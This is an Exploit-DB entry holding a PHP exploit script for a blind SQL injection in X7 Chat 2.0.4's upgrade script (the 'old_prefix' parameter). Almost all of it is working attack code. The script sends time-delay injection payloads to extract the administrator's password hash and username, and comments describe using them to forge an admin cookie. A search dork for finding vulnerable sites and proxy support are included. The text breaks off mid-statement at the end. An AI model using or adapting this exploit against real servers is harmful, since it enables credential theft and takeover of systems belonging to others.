Exploit-DB #2068
Description: X7 Chat 2.0.4 - 'old_prefix' Blind SQL Injection
Type: webapps
Platform: php
Date: 2006-07-24
Author: rgod

Exploit:
#!/usr/bin/php -q -d short_open_tag=on
<?
echo "X7 Chat <=2.0.4 'old_prefix' blind SQL injection / privilege escalation exploit\r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n";
echo "dork: \"Powered By X7 Chat\"\r\n\r\n";

if ($argc<3) {
echo "Usage: php ".$argv[0]." host path OPTIONS\r\n";
echo "host:      target server (ip/hostname)\r\n";
echo "path:      path to X7\r\n";
echo "Options:\r\n";
echo "   -T[prefix]:  specify a table prefix (default: x7chat2_)\r\n";
echo "   -p[port]:    specify a port other than 80\r\n";
echo "   -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /X7/ \r\n";
echo "php ".$argv[0]." localhost / -P1.1.1.1:80\r\n";
die;
}

/*

software site: http://www.x7chat.com/

inside the main folder there is an updgrade script, upgradev1.php,
we have sql injection in old_prefix argument, it is blind...
but you can ask questions to the database to have admin/hash pair
No need to force the hash, through that you can set an admin cookie.
As admin you can manage users, change settings, upload files and so on.

*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

function is_hash($hash)
{
 if (ereg("^[a-f0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

function my_encode($my_string)
{
  $encoded="CHAR(";
  for ($k=0; $k<=strlen($my_string)-1; $k++)
  {
    $encoded.=ord($my_string[$k]);
    if ($k==strlen($my_string)-1) {$encoded.=")";}
    else {$encoded.=",";}
  }
  return $encoded;
}

$host=$argv[1];
$path=$argv[2];
$port=80;
$proxy="";
$prefix="x7chat2_"; //default
for ($i=3; $i<=$argc-1; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-T")
{
  $refix=str_replace("-T","",$argv[$i]);
}
}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$md5s[0]=0;//null
$md5s=array_merge($md5s,range(48,57)); //numbers
$md5s=array_merge($md5s,range(97,102));//a-f letters
//print_r(array_values($md5s));
$password="";
$j=1;
while (!strstr($password,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
if (in_array($i,$md5s))
{
$sql=$prefix."users/**/WHERE/**/user_group=".my_encode("Administrator")."/**/AND/**/(IF((ASCII(SUBSTRING(password,".$j.",1))=".$i."),benchmark(900000,sha1(".my_encode("suntzu").")),-1))/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$data="old_prefix=".$sql;
$data.="&member_accounts=0";
$data.="&rooms=0";
$data.="&settings=1";
$data.="&connvert=0";
$packet ="POST ".$p."upgradev1.php?step=3 HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
usleep(2000000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 12) {$password.=chr($i);echo "password -> ".$password."[???]\r\n";sleep(2);break;}
}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}

$admin="";
$j=1;
while (!strstr($admin,chr(0)))
{
for ($i=0; $i<=255; $i++)
{
$sql=$prefix."users/**/WHERE/**/user_group=".my_encode("Administrator")."/**/AND/**/(IF((ASCII(SUBSTRING(username,".$j.",1))=".$i."),benchmark(900000,sha1(".my_encode("suntzu").")),-1))/*";
echo "sql -> ".$sql."\r\n";
$sql=urlencode($sql);
$data="old_prefix=".$sql;
$data.="&member_accounts=0";
$data.="&rooms=0";
$data.="&settings=1";
$data.="&connvert=0";
$packet ="POST ".$p."upgradev1.php?step=3 HTTP/1.0\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
usleep(2000000);
$starttime=time();
echo "starttime -> ".$starttime."\r\n";
sendpacketii($packet);
$endtime=time();
echo "endtime -> ".$endtime."\r\n";
$difftime=$endtime - $starttime;
echo "difftime -> ".$difftime."\r\n";
if ($difftime > 12) {$admin.=chr($i);echo "admin -> ".$admin."[???]\r\n";sleep(2);break;}
if ($i==255) {die("Exploit failed...");}
}
$j++;
}
if (is_hash($